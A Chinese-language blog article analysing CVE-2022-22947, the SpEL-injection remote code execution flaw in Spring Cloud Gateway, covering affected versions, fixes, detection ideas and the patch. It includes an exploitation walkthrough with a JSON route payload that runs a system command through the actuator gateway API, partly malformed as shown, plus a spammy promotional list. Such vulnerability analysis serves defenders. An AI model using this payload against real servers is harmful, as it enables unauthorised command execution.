简介
前段时间有篇文章披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。
受影响版本
根据 VMWare 和 Spring 的官方公告[^2][^3],受影响的版本为:
- 3.1.0
- 3.0.0 到 3.0.6
- 旧的不受支持的版本也受影响
修复方案
修复方案有:
- 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
- 在不影响业务的前提下,通过将配置选项
management.endpoint.gateway.enabled
设置为false
禁用 gateway actuator endpoint。
检测思路
流量检测:分析 HTTP 流量,检测是否存在异常访问 actuator gateway API 的请求。
主机端:
- 静态检测:通过对比修复前后
ShortcutConfigurable.class
文件的区别指定特征码,根据特征码编写 yara 规则,以查找服务器上是否存在受影响版本的spring-cloud-gateway
jar 包。 - 动态检测:查找服务器上正在运行的 Java 进程,检测其是否加载了
spring-cloud-gateway
jar 包。
漏洞分析
目前已公开的漏洞分析文章都在分析 3.x
版本,为了确认 2.x
版本也受影响,本文对 2018 年发布的 Finchley.RELEASE
版本进行了分析,Spring Cloud Gateway 的版本为 2.0.0.RELEASE
。
环境搭建
演示项目代码已上传到 GitHub 仓库。
项目中,通过配置文件定义了一个路由。启动项目后,访问 http://localhost:8080/ip
,如果一切正常,则会得到以下结果:
【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
利用方法
以 POST
方法请求 /actuator/gateway/routes/pentest
,并提交以下数据,用于创建一条恶意路由:
{
"id": "pentest",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "X-Request-Foo",
"": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
},
"uri": "http://httpbin.org/get",
"predicates": [
{
"name": "Method",
"args": {
"_key_0": "GET"
}
},
{
"name": "Path",
"args": {
"_key_0": "/pentest"
}
}
]
}
]
}
-
id
字段指定新路由的名称,必须全局唯一。 -
filters
字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改。-
name
字段指定要添加的过滤器,这里添加了一个AddResponseHeader
过滤器,用于 gateway 给客户端返回响应之前添加一个响应头。 -
args.name
字段指定要添加的响应头。 -
args.value
字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行whoami
命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」。 -
uri
字段指定将客户端请求转发到http://httpbin.org/get
。 -
predicates
字段指定匹配此路由的条件。这里指定了两个条件,一个是请求的方法为GET
,一个是请求的 URI 为/pentest
。
-
有关其它 actuator gateway 的 API,可查看官方文档[^7]。
接着以 POST
方法请求 /actuator/gateway/refresh
,用于刷新路由,使刚添加的恶意路由生效。
最后以 GET
方法请求 /pentest
,触发恶意路由。在响应中可以看到过滤器添加的响应头:
修复方案分析
代码修复方案
首先在官方仓库中查看为了修复漏洞的 commit[^4]:
在 ShortcutConfigurable
接口中的 getValue
方法中,使用自定义的 GatewayEvaluationContext
类替换了原来的 StandardEvaluationContext
类。查看 GatewayEvaluationContext
类的实现可知,其是对 SimpleEvaluationContext
类的简单封装。
通过查询文档可知,StandardEvaluationContext
和 SimpleEvaluationContext
都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等[^5][^6]。因此通过将 StandardEvaluationContext
类替换为 GatewayEvaluationContext
类,可以限制执行注入的 SpEL 表达式。
禁用 actuator gateway
通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id}
API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档[^7]可知,启用 actuator gateway 需要设置以下两个配置的值:
management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway
因此只要这两个选项不同时满足,就不会启用 actuator gateway。
漏洞分析思路
以 ShortcutConfigurable
接口开始,通过 IntelliJ IDEA 可以看到,大多数内置过滤器都继承了 ShortcutConfigurable
接口。其次,RouteDefinitionRouteLocator
类(org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class
)的私有方法 loadGatewayFilters
中调用了 ShortcutConfigurable
接口的 normalize
方法:
通过简单的回溯,RouteDefinitionRouteLocator
类的公有方法 getRoutes
最终会调用 loadGatewayFilters
方法,调用链为:
loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()
因此 /actuator/gateway/routes
这个 URI 也会触发 SpEL 表达式的执行。
再仔细看下 loadGatewayFilters
方法的关键功能:
- 参数
id
为路由的名称,也就是定义路由时参数id
的值。参数filterDefinitions
为该路由中定义的过滤器对象数组。 - 方法遍历过滤器对象数组:
- 检查指定的过滤器是否存在。不存在则抛出异常
Unable to find GatewayFilterFactory with name
。 - 存在时,获取过滤器的参数,并打印 debug 日志
RouteDefinition {id} applying filter {args} to {filter}
。 - 调用
normalize
方法,如果参数的值是SpEL
表达式则执行,不是则直接返回。 - 使用处理后的参数创建配置对象,然后使用过滤器工厂创建过滤器实例并保存到数组中。
- 检查指定的过滤器是否存在。不存在则抛出异常
2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable
接口的 getValue
方法中使用了 StandardEvaluationContext
类来执行 SpEL 表达式。
第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。
第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService
类的内部类 ConfigurableBuilder
的 normalizeProperties
方法(重写了父类中的方法)中调用了 normalize
方法。而 ConfigurableBuilder
类继承自内部抽象类 AbstractBuilder
。AbstractBuilder
类中有一公有方法 bind
调用了 normalizeProperties
方法。
继续跟进对 bind
方法的引用,可知有三处:
-
AbstractRateLimiter
类的onApplicationEvent
方法。 -
RouteDefinitionRouteLocator
类的loadGatewayFilters
方法和lookup
方法。
然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。